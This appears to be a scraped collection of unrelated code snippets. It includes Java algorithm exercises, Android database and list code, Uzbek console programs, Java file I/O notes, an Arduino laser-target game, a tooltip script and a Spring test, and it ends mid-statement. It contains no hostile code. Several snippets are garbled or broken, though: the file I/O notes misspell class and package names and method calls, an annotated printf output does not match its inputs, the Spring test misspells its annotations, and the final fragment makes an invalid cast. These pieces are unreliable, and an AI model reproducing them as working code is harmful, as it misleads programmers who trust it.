	            return false;
		}
		return true;
	}
// Efficient Solution : Time Complexity : O(log(min(a,b)))
// a * b = gcd(a,b) * lcm(a,b)

import java.io.*;
import java.util.*;

public class Main {
	
	static int gcd(int a, int b)
	{
		if(b==0)
			return a;

		return gcd(b, a % b);
	}

	static int lcm(int a, int b)
	{
		return (a * b) / gcd(a, b); // constant no. of operations
	}
	
	public static void main (String[] args) {
		
		int a = 4, b = 6;

		System.out.println(lcm(a, b));

	}
}

// Naive Method : Time Complexity : O(a*b-max(a,b))


	static int lcm(int a, int b)
	{
		int res = Math.max(a,b);
		
		while(res > 0)
		{
		    if(res%a == 0 && res%b == 0)
		    {
		        return res;
		    }
		    res++;
		}
		return res;
	}
// Optimised Euclidean Algorithm Code : Time Complexity : O(log(min(a,b)))

import java.io.*;
import java.util.*;

public class Main {

	static int gcd(int a, int b)
	{
		if(b==0)
			return a;

		return gcd(b, a % b);
	}

	public static void main (String[] args) {
		
		int a = 12, b = 15;

		System.out.println(gcd(a, b));

	}
}

// Euclidean Algorithm Code

  static int gcd(int a, int b)
  {
    while(a!=b)
    {
      if(a > b)
        a = a - b;
      else
        b = b - a; 
    }

    return a;
  }

// Naive Method : Time Complexity : O(min(a,b))

  static int gcd(int a, int b)
  {
    int res = Math.min(a,b);

    while(res > 0)
    {
      if(a%res == 0 && b%res == 0)
      {
        break;
      }
      res--;
    }

    return res;
  }
// Efficient Method : Time Complexity : Θ(logn), Auxiliary Space: O(1)

import java.io.*;
import java.util.*;

public class Main {

	static int countTrailingZeros(int n)
	{
		int res = 0;

		for(int i=5; i<=n; i=i*5)
		{
			res = res + (n / i);
		}

		return res;
	}

	public static void main (String[] args) {
		
		int number = 251;

		System.out.println(countTrailingZeros(number));

	}
}

// Naive Method : Time Complexity : Θ(n), Auxiliary Space: O(1)

// Overflow for n=20, as factorial value will be of around 19 digits

static int countTrailingZeros(int n)
{
	int fact = 1;

	for(int i=2; i<=n; i++)
	{
	    fact = fact*i;
	}

	int res = 0;

	while(fact%10 == 0)
	{
	    res++;
	    fact = fact/10;
	}

	return res;
}
// ITERATIVE CODE : Time Complexity : Θ(n), Auxiliary Space : Θ(1)

import java.io.*;
import java.util.*;

public class Main {

	static int fact(int n)
	{
		int res = 1;

		for(int i=2; i<=n; i++)
		{
			res = res * i;
		}
		return res;
	}

	public static void main (String[] args) {
		
		int number = 5;

		System.out.println(fact(number));

	}
}

// RECURSIVE CODE : Time Complexity : Θ(n), Auxiliary Space : Θ(n) 

import java.io.*;
import java.util.*;

public class Main {

	
	static int fact(int n)
	{
	    if(n==0)
	        return 1;
		
		return n * fact(n-1);
	}

	public static void main (String[] args) {
		
		int number = 5;

		System.out.println(fact(number));

	}
}
// Time Complexity: O(logN), Auxiliary Space: O(1)
import java.io.*;
import java.util.*;

public class CheckPalindrome {

	static boolean isPal(int n)
	{
		int rev = 0;

		int temp = n;
		// reversed integer is stored in reversed variable
		while(temp != 0)
		{
			int ld = temp % 10;

			rev = rev * 10 + ld;

			temp = temp / 10;
		}	
		// palindrome if orignal and reversed are equal
		return rev==n;
	}

	public static void main (String[] args) {
		
		int number = 4553;

		System.out.println(isPal(number));

	}
}
//Time Complexity : O(d), where 'd' is the digits of number
import java.io.*;
import java.util.*;

public class CountDigits {

	static int countDigits(int num)
	{
		int count = 0;
    
		while(num > 0)
		{
			num = num / 10;
			count++;
		}	
		return count;
	}

	public static void main (String[] args) {
		
		int number = 789;

		System.out.println(countDigits(number));

	}
}
import java.io.*;
import java.util.*;

class Solution
{
    
  public int modInverse(int a, int m)
    {
        for(int i=1; i<m; i++){
            if(a*i%m == 1)
                return i;
        }
        return -1;
    }
}

class Main {
	public static void main (String[] args) {
	    
	    //taking input using Scanner class
		Scanner sc=new Scanner(System.in);
		
		//taking testcases
		int T=sc.nextInt();
		
		while(T-->0)
		{
		    Solution  obj=new Solution ();
		    int a,m;
		      
            //taking input a and m
		    a=sc.nextInt();
		    m=sc.nextInt();
		  
            //calling function modInverse()
		    System.out.println(obj.modInverse(a,m));
		}
		
	}
}
import java.util.*;
import java.lang.*;
import java.io.*;

class Solution
{
    static long multiplicationUnderModulo(long a, long b)
    {
        long M = 1000000007;
        return ((a%M)*(b%M))%M;
    }
}

class GFG
{
    public static void main(String args[])throws IOException
    {
        
        BufferedReader read = new BufferedReader(new InputStreamReader(System.in));
        
        //taking testcases
        int t = Integer.parseInt(read.readLine());
        
        while(t-- > 0)
        {
            String str[] = read.readLine().trim().split(" ");
            
            //taking input a and b
            long a = Long.parseLong(str[0]);
            long b = Long.parseLong(str[1]);

            //calling multiplicationUnderModulo() function
            System.out.println(new Solution().multiplicationUnderModulo(a, b));
        }
    }
}
import java.io.*;
import java.util.*;

class Solution
{
    public static boolean isPrime(int num)
    {
        if(num==1) return false;
        if(num==2 || num==3) return true;
        if(num%2==0 || num%3==0) return false;
        for(int i=5; i*i<=num; i+=6)
        {
            if(num%i==0 || num%(i+2)==0)
                return false;
        }
        return true;
    }

    public static int exactly3Divisors(int N)
    {
        int count = 0;
        for(int i=2; i*i<=N; i++)
        {
            if(isPrime(i))
                count++;
        }
        return count;
    }
}

class Main {
	public static void main (String[] args) {
		Scanner sc=new Scanner(System.in);

		//taking testcases
		int T=sc.nextInt();
		
		while(T-->0)
		{
		    Solution obj=new Solution();
		    int N;
		    N=sc.nextInt();//taking N
		    //calling function exactly3Divisors()
		    System.out.println(obj.exactly3Divisors(N));
		}
		
	}
}
import java.io.*;
import java.util.*;

class Solution
{
    
    public double termOfGP(int A,int B,int N)
    {
        // common ratio is given by r=b/a
        double r=(double)B/(double)A;
        // Nth term is given by a(r^(N-1))
        return (A*Math.pow(r,N-1)); 
    }

}

public class Main {
	public static void main (String[] args) {
	    
	    //taking input using Scanner class
		Scanner sc=new Scanner(System.in);
		
		//taking total testcases
		int T=sc.nextInt();
		while(T-->0)
		{
		    
		    Solution  obj=new Solution ();
		    int A,B;
		    
		    //taking A and B
		    A=sc.nextInt();
		    B=sc.nextInt();
		    int N;
		    
		    //taking N
		    N=sc.nextInt();
		    
		   //calling method termOfGP() of class GP
		   System.out.println((int)Math.floor(obj.termOfGP(A,B,N)));
		    
		}
		
	}
}
import java.io.*;
import java.util.*;

class Solution{
    public int digitsInFactorial(int N){
        
        if (N < 0)
            return 0;
  
        // base case
        if (N <= 1)
            return 1;
  
        // else iterate through n and calculate the value
        double digits = 0;
        for (int i=2; i<=N; i++)
            digits += Math.log10(i);
  
        return (int)(Math.floor(digits)) + 1;
    }
}

public class Main {
	public static void main (String[] args) {
		Scanner sc=new Scanner(System.in);
		
		//taking total testcases
		int T=sc.nextInt();
		
		while(T-->0)
		{
		    Solution obj=new Solution();
		    int N;
		    
		    //taking N
		    N=sc.nextInt();
		    
		   //calling method digitsInFactorial()
		   System.out.println(obj.digitsInFactorial(N));
		    
		}
		
	}
}
import java.io.*;
import java.util.*;

class Solution {
    public ArrayList<Integer> quadraticRoots(int a, int b, int c) {
        
       ArrayList<Integer> numbers = new ArrayList<Integer>();
       int d = (int) (Math.pow(b,2)-(4*a*c));
       int r1 = (int) Math.floor(((-1*b)+Math.sqrt(d))/(2*a));
       int r2 = (int) Math.floor(((-1*b)-Math.sqrt(d))/(2*a));
       if(d<0){
           numbers.add(-1);
       }
       else
       {
           numbers.add(Math.max(r1,r2));
           numbers.add(Math.min(r1,r2));
       }
       return numbers;
    }
}

public class Main {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        int T = sc.nextInt();
        while (T-- > 0) {
            int a, b, c;
            a = sc.nextInt();
            b = sc.nextInt();
            c = sc.nextInt();
            Solution obj = new Solution();
            ArrayList<Integer> ans = obj.quadraticRoots(a, b, c);
            if (ans.size() == 1 && ans.get(0) == -1)
                System.out.print("Imaginary");
            else
                for (Integer val : ans) System.out.print(val + " ");
            System.out.println();
        }
    }
}
// Formula	: (0°C × 9/5) + 32 = 32°F

import java.io.*;
import java.util.*;

class Solution
{
    public double cToF(int C)
    {
        return C*(9.0/5.0)+32.0;
    }
}

public class Main {
	public static void main (String[] args) {
		Scanner sc=new Scanner(System.in);
		
		int T=sc.nextInt();//input number of testcases
		while(T-->0)
		{
		    Solution obj=new Solution();
		    
		    int C;
		    C=sc.nextInt();//input temperature in celscius
		    
		    System.out.println((int)(obj.cToF(C)));//print the output
		}
		
	}
}
import java.util.*;
import java.io.*;

class Solution {
    public static long sumUnderModulo(long a, long b){
        
        long M = 1000000007;
        // a+b mod M = (a mod M + b mod M)mod M
        return  (a % M + b % M)%M;
    }   
}

class GFG
{
    public static void main(String args[])throws IOException
    {
        BufferedReader read = new BufferedReader(new InputStreamReader(System.in));
        
        //taking testcases
        int t = Integer.parseInt(read.readLine());
        
        while(t-- > 0) {
            String[] str = read.readLine().trim().split(" ");
            
            //taking input a and b
            Long a = Long.parseLong(str[0]);
            Long b = Long.parseLong(str[1]);
            
            //calling method sumUnderModulo()
            System.out.println(new Solution().sumUnderModulo(a,b));
        }
    }
}
import java.io.*;
import java.util.*;

public class Main {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);

        int T = sc.nextInt(); // number of testcases
        while (T > 0) {
            int I = sc.nextInt();
            Solution obj = new Solution();
            System.out.println(obj.absolute(I));

            T--;
        }
    }
}


class Solution {
    public int absolute(int I) {
       int absolute=Math.abs(I);
       return absolute;
       
       /*
       //used a simple logic 

       if(I<0){
           I=-I;
       }
       else if(I==0){
          I=0;
       }
       else{
           I=I;
       }
       return I;
       */
    }
}
UserDao userDao = db.userDao();
List<User> users = userDao.getAll();
AppDatabase db = Room.databaseBuilder(getApplicationContext(),
        AppDatabase.class, "database-name").build();
@Database(entities = {User.class}, version = 1)
public abstract class AppDatabase extends RoomDatabase {
    public abstract UserDao userDao();
}
@Dao
public interface UserDao {
    @Query("SELECT * FROM user")
    List<User> getAll();

    @Query("SELECT * FROM user WHERE uid IN (:userIds)")
    List<User> loadAllByIds(int[] userIds);

    @Query("SELECT * FROM user WHERE first_name LIKE :first AND " +
           "last_name LIKE :last LIMIT 1")
    User findByName(String first, String last);

    @Insert
    void insertAll(User... users);

    @Delete
    void delete(User user);
}
public static void factorial() {
        Scanner scanner=new Scanner(System.in);
        int a;
        int fac = 1;
        System.out.println("Kiritilgan sonni faktorialini aniqlash!");
        System.out.print("Sonni kiriting: ");
        a=scanner.nextInt();
        for (int i = 1; i <= a; i++) {
            fac=fac*i;
        }
        System.out.println(fac);
    }
public static void getLargest() {
        Scanner scanner = new Scanner(System.in);
        int a, b, c;
        System.out.println("Sonlar orasidan eng kattasini topish!");
        System.out.print("Birinchi sonni kiriting: ");
        a = scanner.nextInt();
        System.out.print("Ikkinchi sonni kiriting: ");
        b = scanner.nextInt();
        System.out.print("Uchinchi sonni kiriting: ");
        c = scanner.nextInt();
        if (a > b) {
            if (a > c) {
                System.out.println(a + " eng katta son! Birinchi son!");
            } else {
                System.out.println(c + " eng katta son! Uchinchi son!");
            }
        } else {
            if (b > c) {
                System.out.println(b + " eng katta son! Ikkinchi son!");
            } else {
                System.out.println(c + " eng katta son! Uchinchi son!");
            }
        }
    }
import java.util.Scanner;

public class Main {
    public static void main(String[] args) {
//        System.out.println("hello");
        System.out.println(add());
    }

    public static double add() {
        Scanner scanner = new Scanner(System.in);
        double num1;
        System.out.print("Birinchi sonni kiriting: ");
        num1 = scanner.nextDouble();
        double num2;
        System.out.print("Ikkinchi sonni kiriting: ");
        num2 = scanner.nextDouble();
        double result;
        result = num1 + num2;
        return result;
    }
}
/*
printf(String format, [value,...])
Format: %-,X.Yf

Always starts with %
-Causes the value to be left justified.  Otherwise it is right justified
A comma causes commas to be displated in the printed number
X = field width
Y is number of digits after the decimal point
f is format type: d = integer (int), f = floating point number (double), s = string
*/

//EXAMPLE
int x = 123, y = 46789;
double a = 3.14159265, b = 2.7182818;
String first = "Wilma", last = "Flintstone";
System.out.printf("%6d %-,d\n", x, y); //Punctuation counts towards spaces
System.out.printf("%5.2f %-7.4\n", a, b);
System.out.printf("first = [%s] last = [%12s]\n", first, last);

/*
Prints as :
___123 456,789_
_3.14 2.7183_
First = [Wilma] last = [__Flinststone]
*/


//Example
import java.io.File;
import java.io.FileNotFoundException;
import java.io.PrintWriter;
import java.util.Scanner;

/* 
Contents of scores-in.txt:
80 90 70
40 60 80
100 93 87
*/

public class ExamAvg {
  public static void main(String[] args) throws FileNotFoundException {
    //open "scores-in.txt" fore reading
    scanner in = new Scanner(new FIle("scores-in.txt"));
    //open "scores-out.txt" for writing
    PrintWriter out = newe PrintWriter(new File("scores-out.txt"));
    //Print the column headers
    out.println("Exam 1  Exam 2  Exam 3  Exam Avg");
    out.println("------  ------  ------  --------");
    //Read teh exam scores form "score-in.txt", calculate the exam average, and print the formatted output to the output fle
    while(in.hasNext()){
      int e1 = in.nextInt();
      int e2 = in.nextint();
      int e3 = in.nextint();
      double avg = (e1 + e2 + e3) / 3.0;
      out.printf("%6d %6d %6d %8.1f\n", e1, e2, e3, avg);
    }
    //Close the input file
    in.close;
    //close the output file
    out.close;
  }
}




//Construct a java.io.File object and pass the file anme as an argument
import java.io.File;
import java.io.PrintWriter;

String fname = "output.txt";

File file = new File(fname);

//Then pass the file object as an argument to the java.io.PrintWriter class
PrintWriter out = new PrintWriter(file);

//They can be combined together
PrintWriter out = new PrintWriter(new File(fname));

//EXAMPLE

int x = 20;
double y = 3.14159265;
char ch1 = '$', ch2 = 'A';
String s1 = "Fred", s2 = "Flintstone";
PrintWriter out = PrintWriter(new File("output.txt")); //opens a file for writing
out.print(x + " " + y); 
out.println(ch1);
out.println(ch2 + " " + s2 + ", " + s1);
out.close;

/* 
OUTPUT:
20 3.14159265
$
A Flintstone, Fred
*/
/* 
TXT file contains these characters:
Pebbles Flintstone\n
1 2.2\n
This is a line of text.\n
*/

import java.io.File;
import hava.util.Scanner;

Scanner scanner = new Scanner(new File("input.txt"));
String s1 = scanner.next();  //s1 is assigned "Pebbles"
String s2 = scanner.next(); // s2 is assigned "Flintstone"
int x = scanner.nextInt(); // x is assigned 1
double y = scanner.nextDouble(); // y is assigned 2.2
scanner nextLine(); //Advances scanner to beginning of next line
String s3 = scanner.nextLine(); // s3 is assigned "This is a line of text"
scanner.close();
void close() //must be called when finished reading from file
boolean hasNext() //returns true If there are more characters to be read from the file
String next() //skips whitespace until a nonwhitespace character is found and then reads characters until a whitespace character is encountered
double nextDouble() //Scans the next token assuming it is a real number
int nextInt() //Scans the next token assuming it is an integer
String nextLine() //Reads and returns all characters on the current line.  After reading , the scanner will be pointing to the next character of the next line of text
Import java.io.File;
Import java.io.FileNotFoundException;
Import java.io.PrintWriter;
Import java.lang.Integer;
Import java.util.ArrayList;
Import java.util.Scanner;

//Reads a file named "ints-in.txt" containing integers and writes the integers to "ints-out.txt" in reverse order.

Class PrintReverse {
	Public static void main (String[] args) throws FileNotFoundException {
		//Create an ArrayList of Integers
		ArrayList<Integer> list = new ArrayList<>();
		Scanner scanner = new Scanner(new File("ints-in.txt"));
		while(scanner.hasNext()){
			list.add(scanner.nextInt());
		}
		scanner.close();
		
		PrintWriter out = new PrintWriter(new File("ints-out.txt"));
		for (int I = list.size()-1; I >= 0; --i){
			out.println(list.get(i));
		}
		out.close();
	}
}
import java.util.ArrayList;
ArrayList<String> names = new ArrayList<>();
names.add("Emily");
names.add("Bob");
names.add("Cindy");

int n = names.size();  // Returns n = 3
String s = names.get(0); //Assigns "Emily" to s
String s = names.set(2, "Carolyn"); //Assigns "Cindy" to s, since it was the value that was replaced

Names.add(1, "Ann"); //inserts the element at the given index.  The index shifts to add the given element
String S = names.remove(1); //Removes element at given index.  Element is saved as s.

for (int I = 0; I < names.size(); ++i){
	System.out.println(names.get(i));
}

for (String name : names){
	System.out.println(name); //Enhanced For Loop
}
import android.content.Context;
import android.os.Build;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import androidx.annotation.RequiresApi;
import androidx.recyclerview.widget.RecyclerView;
import java.util.ArrayList;


public class Adapter extends RecyclerView.Adapter<Adapter.MyViewHolder> {

    private ArrayList<String> arraylist;
    Context context;
    private MyInterface myInterface;


    public Adapter(Context context, ArrayList<String> arraylist) {
        this.context = context;
        this.arraylist = arraylist;
    }

    public class MyViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener {
        public TextView tvView;

        public MyViewHolder(View view) {
            super(view);
            tvView = view.findViewById(R.id.tvView);
            tvView.setOnClickListener(this);
        }

        @Override
        public void onClick(View view) {
            if (myInterface != null) myInterface.onItemClick(view, getAdapterPosition());
        }
    }

    @Override
    public MyViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
        View itemView = LayoutInflater.from(parent.getContext()).inflate(R.layout.row, parent, false);
        return new MyViewHolder(itemView);
    }

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    @Override
    public void onBindViewHolder(final MyViewHolder holder, int position) {
//        holder.tvView.
    }

    @Override
    public int getItemCount() {
        return arraylist.size();
    }

    public void setClickListener(MyInterface itemClickListener) {
        this.myInterface = itemClickListener;
    }

    public interface MyInterface {
        void onItemClick(View view, int position);
    }

}
#include "Arduino.h"
#include "SoftwareSerial.h"
#include "DFRobotDFPlayerMini.h"
#include <Adafruit_NeoPixel.h>
#include <Servo.h>

// sensors
#define LDR0pin A0 
#define LDR1pin A1 
#define LDR2pin A2 
#define LDR3pin A3 
#define LDR4pin A4 

// servos/motors
#define boo1pin 2
#define boo2pin 3
#define ceilingpin 4

// gun
#define buttpin 5
#define indipin 6
#define laserpin 7

// LEDs
#define melodypin 8
#define mompin 9
#define DATA_PIN 10 
#define NUM_LEDS 20 

// DFPlayer
SoftwareSerial mySoftwareSerial(12, 13); // TX, RX
DFRobotDFPlayerMini myDFPlayer;

// led strips
Adafruit_NeoPixel lightning_strip = Adafruit_NeoPixel(NUM_LEDS, DATA_PIN, NEO_GRB + NEO_KHZ800);
Adafruit_NeoPixel melody = Adafruit_NeoPixel(2, melodypin, NEO_GRB + NEO_KHZ800);
Adafruit_NeoPixel mom = Adafruit_NeoPixel(2, mompin, NEO_GRB + NEO_KHZ800);

// servos
// twelve servo objects can be created on most boards
Servo servo0;  // create servo1 object to control a servo1
Servo servo1;
Servo servo2;

// ADJUST FOR LIGHT THRESHOLDS
short laserThresh = 240;
short altThresh = 255;

// lightning
unsigned long flickerTime = 0, fadeInTime = 0;
byte i = 6, lowBright = 10, highBright = 255;
boolean lightState = true;

// boo servos
unsigned long booTime = 0;
boolean booState = false;

// mom, melody, ceiling trigger times
unsigned long momTime = 0, melodyTime = 0, ceilingTime = 0;

 // used for debouncing button
unsigned long lastDebounceTime = 0, highTime = 1, lasthighTime = 0;
byte buttonState, lastButtonState = HIGH;
boolean adjust = true;

// sensors
byte LDR0 = 0, LDR1 = 0, LDR2 = 0, LDR3 = 0, LDR4 = 0, LDR5 = 0;

void setup() {
  lightning_strip.begin();
  lightning_strip.setBrightness(lowBright);
  setLightning(0,255,0);

  melody.begin();
  melody.setBrightness(100);
  setMelody(0,0,0);

  mom.begin();
  mom.setBrightness(100);
  setMom(0,0,0);
  
  mySoftwareSerial.begin(9600);
  Serial.begin(9600);
  
  Serial.println();
  Serial.println(F("DFRobot DFPlayer Mini Demo"));
  Serial.println(F("Initializing DFPlayer ... (May take 3~5 seconds)"));
  
  if (!myDFPlayer.begin(mySoftwareSerial)) {  //Use softwareSerial to communicate with mp3.
    Serial.println(F("Unable to begin:"));
    Serial.println(F("1.Please recheck the connection!"));
    Serial.println(F("2.Please insert the SD card!"));
    while(true);
  }
  Serial.println(F("DFPlayer Mini online."));

  // CHANGE TO 20
  myDFPlayer.volume(30);  //Set volume value (0~30).

  // gun
  pinMode(laserpin, OUTPUT);
  pinMode(indipin, OUTPUT);
  pinMode(buttpin, INPUT_PULLUP);

  // sensors
  pinMode(LDR0pin, INPUT);
  pinMode(LDR1pin, INPUT);
  pinMode(LDR2pin, INPUT);
  pinMode(LDR3pin, INPUT);
  pinMode(LDR4pin, INPUT);

  // servos
  
  servo0.attach(boo1pin);
  servo1.attach(boo2pin);  // attaches the servo1 on pin 9 to the servo1 object
  servo2.attach(ceilingpin);

  // initialize servo positions:
  servo0.write(40); // boo1 swivels out RIGHT
  servo1.write(40); // boo2 swivels out LEFT
  servo2.write(90); // ceiling starts horizontal

  // opening song
  myDFPlayer.playMp3Folder(0);
}

void loop() {
  LDR0 = analogRead(LDR0pin);
  LDR1 = analogRead(LDR1pin);
  LDR2 = analogRead(LDR2pin);
  LDR3 = analogRead(LDR3pin);
  LDR4 = analogRead(LDR4pin);

  //trigger(trig_time, reload_time);
  //default (250, 1000)
  trigger(250, 1000);

  // boo(toggle_interval
  boo(2000);

  //lightning(flickerRate, blackout_time);
  lightning(150, 3000);
  lightning_strip.show();
  Serial.println(LDR4);

  //targetHit(playTime)
  melodyHit(4000);
  momHit(5500);
  ceiling(3000);
}

void ceiling (short playTime) {
  if (LDR4 > laserThresh) {
     ceilingTime = millis();
     myDFPlayer.playMp3Folder(4);
  }
  
  if (millis() - ceilingTime < playTime) servo2.write(0);
  else servo2.write(90);
}

void melodyHit (short playTime) {
  // if target hit, reset routine
  if (LDR2 > laserThresh) {
    melodyTime = millis();
    myDFPlayer.playMp3Folder(2);
  }

  if ((millis() - melodyTime < playTime)&&(melodyTime > 0)) setMelody(128, 0, 128);
  else setMelody(0, 0, 0);
}

void momHit (short playTime) {
  // if target hit, reset routine
  if (LDR3 > laserThresh) {
    momTime = millis();
    myDFPlayer.playMp3Folder(3);
  }

  if ((millis() - momTime < playTime)&&(momTime > 0)) setMom(128, 0, 128);
  else setMom(0, 0, 0);
}

void boo (short toggle_interval) {
  if (millis() - booTime > toggle_interval) {
    booState = !booState;
    booTime = millis();
  }
  
  if (booState)  {
    servo0.write(40);
    servo1.write(40);
  }
  
  else  {
    servo0.write(160);
    servo1.write(160);
  }
}

void lightning (short flickerRate, short blackout) {
  if (i > 6) i = 6;
  
  // if target hit, reset routine
  if ((LDR0 > laserThresh)||(LDR1 > laserThresh)) {
    i = 0;
    lightning_strip.setBrightness(highBright);
    lightState = true;
    myDFPlayer.playMp3Folder(1);
  }

  // flicker on/off 5 times at flickerRate
  if ((millis() - flickerTime > flickerRate)&& (i < 5)) 
  {
    lightState = !lightState;
    if (lightState) setLightning(255,255,255);
    else setLightning(0,0,0);
    i++;
    flickerTime = millis();
  }

  // lights stay off for blackout time
  else if ((millis() - flickerTime > blackout)&& (i == 5)) 
  {
    lightning_strip.setBrightness(lowBright);
    for (short j = 0 ; j < 255 ; ) {
      if (fadeInTime - millis() > 25) {
        setLightning(0, j, 0);
        j++;
      }
      fadeInTime = millis();
    }
    
    lightState = !lightState;
    flickerTime = millis();
    i++;
    
  }
}

void trigger(short trig_time, short reload) {
  adjust = digitalRead(buttpin);

  if (adjust != lastButtonState) {
    lastDebounceTime = millis();
  }
  
  if ((millis() - lastDebounceTime) > 50) {
    
    if (adjust != buttonState) {
      buttonState = adjust;
  
      if ((buttonState == LOW) && (millis() > 500)) {
        highTime = millis();
      }
    }
  }
  lastButtonState = adjust;

  if ((millis() - highTime <= trig_time)&&(millis() > 500)) {
    if (highTime-lasthighTime >= reload) {
      digitalWrite(laserpin, HIGH);
      lasthighTime = highTime;
    }
    digitalWrite(indipin, LOW);
  }
  else {
    digitalWrite(laserpin, LOW);
    digitalWrite(indipin, HIGH);
  }
}

// Set all LEDs to a given color and apply it (visible)
void setLightning (byte red, byte green, byte blue) {
  for(byte i = 0; i < NUM_LEDS; i++ ) {
    lightning_strip.setPixelColor(i, lightning_strip.Color(red, green, blue));
  }
  lightning_strip.show();
}

// Set all LEDs to a given color and apply it (visible)
void setMom (byte red, byte green, byte blue) {
  for(byte i = 0; i < 2; i++ ) {
    mom.setPixelColor(i, mom.Color(red, green, blue));
  }
  mom.show();
}

// Set all LEDs to a given color and apply it (visible)
void setMelody (byte red, byte green, byte blue) {
  for(byte i = 0; i < 2; i++ ) {
    melody.setPixelColor(i, melody.Color(red, green, blue));
  }
  melody.show();
}
final String id = Hashing.murmur3_32().hashString(url, StandardCharsets.UTF_8).toString();
public enum FamilyMemberTypes {

    CHILD("CHILD", "Child"),
    FTH("FTH", "Father"),
    MTH("MTH", "Mother"),
    MGRMTH("MGRMTH", "Maternal Grandmother"),
    PGRMTH("PGRMTH", "Paternal Grandmother"),
    MGRFTH("MGRFTH", "Maternal Grandfather"),
    PGRFTH("PGRFTH", "Paternal Grandfather");

    private final String key;
    private final String value;

    FamilyMemberTypes(String key, String value) {
        this.key = key;
        this.value = value;
    }

    public String getKey() {
        return key;
    }

    public String getValue() {
        return value;
    }

    //Lookup table
    private static final Map<String, String> lookup = new HashMap<>();

    //Populate the lookup table on loading time
    static {
        for (FamilyMemberTypes familyMemberTypes : FamilyMemberTypes.values()) {
            lookup.put(familyMemberTypes.getKey(), familyMemberTypes.getValue());
        }
    }

    //This method can be used for reverse lookup purpose
    public static String getValue(String key) {
        return lookup.get(key);
    }

}
/* ----------------------------------------
Note: any modifications to these styles will be global 
---------------------------------------- */
.tippy-box {}
.tippy-content {}
.tippy-arrow {}

/* ----------------------------------------
You can also apply tooltip css overrides on the INTERIOR of your tooltips. Note: results may sometimes be unpredictable 😡
---------------------------------------- */
.tippy-box .style1 {
  font-family: courier;
  color: #0066FF;
  padding: 15px;
  display: inline-block;
}
<!-- jQuery -->
<script src="//code.jquery.com/jquery-latest.js"></script>
<!-- Popper -->
<script src="https://unpkg.com/@popperjs/core@2"></script>
<!-- Tippy -->
<script src="https://unpkg.com/tippy.js@6"></script>

<script language="javascript">
// This code will execute as soon as the document is loaded 
$(document).ready(function() {
    // Allow or disallow html in tooltips (default = false)
    tippy.setDefaultProps({allowHTML: true}); 
    // Transform elements
    let tooltip_elements = $('a[href^="#tooltip_"]');
    tooltip_elements.each(function(i){
        let link = $(this).attr('href');
        let tip = link.replace('#tooltip_', '');
        $(this).attr('data-tippy-content', tip);
        if (link.startsWith('#tooltip_')) {
          $(this).removeAttr('href').css('cursor', 'pointer');
        }
    });
    // Finally, call `tippy`
    tippy('[data-tippy-content]');
});</script>
class Solution {
    
    // Greedy solution implementing PriorityQueue
        
    public int minDeletions(String s) {
        int maxChar = 25;
        HashMap<Character, Integer> freq = new HashMap(maxChar);
        PriorityQueue<Integer> pq = new PriorityQueue(maxChar, new Comparator<Integer>(){
            public int compare(Integer o1, Integer o2){
                return o2 - o1;
            }
        });
        
        // Characters to delete
        int delCount = 0; 
        
        // Add characters to Map
        for(int i = 0; i < s.length(); i++){
            char c = s.charAt(i);
            
            if(!freq.containsKey(c))
                freq.put(c, 1);
            else
                freq.put(c, freq.get(c) + 1);
        }
        
        //for(Map.Entry entry : freq.entrySet())
            //System.out.println(entry.getKey() + ":" + entry.getValue());
        
        // Add character frequencies to PriorityQueue
        for(Map.Entry entry : freq.entrySet())
            pq.add((Integer) entry.getValue());
        
        
        // Traverse PriorityQueue
        while(!pq.isEmpty()){
            
            //printQ(pq);
            
            // store topmost entry
            int top = pq.peek();
            // remove topmost entry
            pq.remove();
            
            if(pq.isEmpty())
                break;
            
            if(top == pq.peek()){
                if(top > 1)
                    // insert decremented top entry
                    pq.add(top - 1);
                // increment character deletion count
                delCount++;
            }
        }
         
        return delCount;
    }
    
    public void printQ(PriorityQueue<Integer> pq){
        for(Integer i : pq)
            System.out.print(i +",");
        System.out.println();
    }
}
for (Task t : taskList) {
  			//make new instances, to not override item
            TaskDTO taskDTO = new TaskDTO();
            TaskDTO tt = new TaskDTO();
            tt = convertSourceToTaskDTO(t, taskDTO);
            taskActivityResponse.getTaskDtoList().add(taskDTO);
        }
@EntendWith(SpringExtenstion.class)
//to focus on mvc components only
@WebMvcTest(ClassNameYoureGoingToTest.class)
class HelloControllerIntegrationTest{
  
  @Autowired 
  private MockMvc mvc;

  @Test
  void hello() throws Exception{
    RequestBuilder request = MockMvcRequestBuilders.get("/find/by/id");
    MvcResults result = mvc.perform(request).andReturn();
    //first param is expected value, second- actual value
    assertEquals("Hello, World", results.getResponse().getContentAsString());
  }

  @Test
  public void testHelloWithName throws Exception{
      mvc.perform(get("/find/by/id?id=123")).andExpect(content().string("Hello, Dan"));
  }

}

private TilePane selectedTilePane;
private TilePane currentTilePane;
private ImageView selectedImageView;

void onMouseClicked(MouseEvent event) {
  this.resetTileBackgroundColor();
  this.selectedImageView = (ImageView) event.getSource();
  this.selectedTilePane = (TilePane) this.selectedImageView.getParent();
  this.selectedTilePane.setStyle("-fx-background-color:gray");

}

void onMouseEntered(MouseEvent event) {
  this.currentTilePane = (TilePane) event.getSource();
  if (!this.currentTilePane.equals(this.selectedTilePane)) {
    this.currentTilePane.setStyle("-fx-background-color:lightgray");
  }
}

void onMouseExited(MouseEvent event) {
  this.currentTilePane = (TilePane) event.getSource();
  if (!this.currentTilePane.equals(this.selectedTilePane)) {
    this.currentTilePane.setStyle("-fx-background-color:whitesmoke");
  }
}

private void resetTileBackgroundColor() {
  tilePane<XXXXX>.setStyle("-fx-background-color:whitesmoke");
}
Fire Event:

Intent intent = new Intent(YOUR_EVENT_NAME);
LocalBroadcastManager.getInstance(context).sendBroadcast(intent);

Receive Event:

LocalBroadcastManager.getInstance(context).registerReceiver(receiverName,
new IntentFilter(YOUR_EVENT_NAME));

private BroadcastReceiver receiverName = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
          
        }
};
for (AsegurableDtoResponse objAsegurable : listAsegurables) {
					for (GrupoDto objGrupo : objAsegurable.getGrupos()) {
						int intIdPoliza = objGrupo.getNroPoliza();

						GrupoDto objGrupoPorPoliza = (GrupoDto) objAsegurable.getGrupos().stream().filter(grupo -> grupo.getNroPoliza() == intIdPoliza);
